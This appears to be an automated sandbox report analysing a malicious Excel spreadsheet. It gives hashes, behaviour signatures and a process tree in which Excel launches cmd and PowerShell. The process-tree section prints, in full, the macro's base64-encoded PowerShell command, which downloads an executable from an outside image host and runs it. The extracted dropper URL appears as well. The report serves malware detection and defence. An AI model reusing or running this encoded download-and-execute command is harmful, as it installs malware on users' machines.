Analysis

  • max time kernel
    49s
  • max time network
    20s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    20-05-2024 08:05

General

  • Target

    029f9f0e3f72f1e132393e05a65c163924ad93fdd1fa90565711d488a13c530d.xls

  • Size

    92KB

  • MD5

    c7850d198983d794fd3c109f8d1a57ae

  • SHA1

    9a9cc6ee0ac4b7a35598c386bc04998f5e37a864

  • SHA256

    029f9f0e3f72f1e132393e05a65c163924ad93fdd1fa90565711d488a13c530d

  • SHA512

    7d7a40c1e86f5eed757bd3cef7537ee2d298eafeafe84e23d0c84dad4b6c733bf71abfcf9a8960354706189438c7a9b3d83fe2e382efe0beb096716b85a5b282

  • SSDEEP

    1536:3k3hOdsylKlgryzc4bNhZFGzE+cL2knAfiCaikW3ixhZFaRRGjx0BT0TR0SHx/Ua:3k3hOdsylKlgryzc4bNhZFGzE+cL2knt

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://i.cubeupload.com/1MDiPJ.jpg

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\029f9f0e3f72f1e132393e05a65c163924ad93fdd1fa90565711d488a13c530d.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2200
    • C:\Windows\SysWOW64\cmd.exe
      cmd & /K CD C: & PowerShell -EncodedCommand dAByAHkAewAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGkALgBjAHUAYgBlAHUAcABsAG8AYQBkAC4AYwBvAG0ALwAxAE0ARABpAFAASgAuAGoAcABnACcALAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACsAJwBcAGsAZwByAGgAUwBnAGwASwBSAGsAZQBYAEsAcQBsAE4AQgAuAGUAeABlACcAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABrAGcAcgBoAFMAZwBsAEsAUgBrAGUAWABLAHEAbABOAEIALgBlAHgAZQAnACkAOwB9AGMAYQB0AGMAaAAgAHsAfQA=
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2120
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PowerShell -EncodedCommand dAByAHkAewAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGkALgBjAHUAYgBlAHUAcABsAG8AYQBkAC4AYwBvAG0ALwAxAE0ARABpAFAASgAuAGoAcABnACcALAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACsAJwBcAGsAZwByAGgAUwBnAGwASwBSAGsAZQBYAEsAcQBsAE4AQgAuAGUAeABlACcAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABrAGcAcgBoAFMAZwBsAEsAUgBrAGUAWABLAHEAbABOAEIALgBlAHgAZQAnACkAOwB9AGMAYQB0AGMAaAAgAHsAfQA=
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2592

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2200-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2200-1-0x000000007288D000-0x0000000072898000-memory.dmp

    Filesize

    44KB

  • memory/2200-4-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/2200-2-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/2200-15-0x00000000061F0000-0x00000000062F0000-memory.dmp

    Filesize

    1024KB

  • memory/2200-14-0x00000000061F0000-0x00000000062F0000-memory.dmp

    Filesize

    1024KB

  • memory/2200-13-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/2200-12-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/2200-11-0x00000000061F0000-0x00000000062F0000-memory.dmp

    Filesize

    1024KB

  • memory/2200-10-0x00000000061F0000-0x00000000062F0000-memory.dmp

    Filesize

    1024KB

  • memory/2200-9-0x00000000061F0000-0x00000000062F0000-memory.dmp

    Filesize

    1024KB

  • memory/2200-8-0x00000000061F0000-0x00000000062F0000-memory.dmp

    Filesize

    1024KB

  • memory/2200-7-0x00000000061F0000-0x00000000062F0000-memory.dmp

    Filesize

    1024KB

  • memory/2200-6-0x00000000061F0000-0x00000000062F0000-memory.dmp

    Filesize

    1024KB

  • memory/2200-5-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/2200-3-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/2200-18-0x000000007288D000-0x0000000072898000-memory.dmp

    Filesize

    44KB

  • memory/2200-19-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/2200-20-0x00000000061F0000-0x00000000062F0000-memory.dmp

    Filesize

    1024KB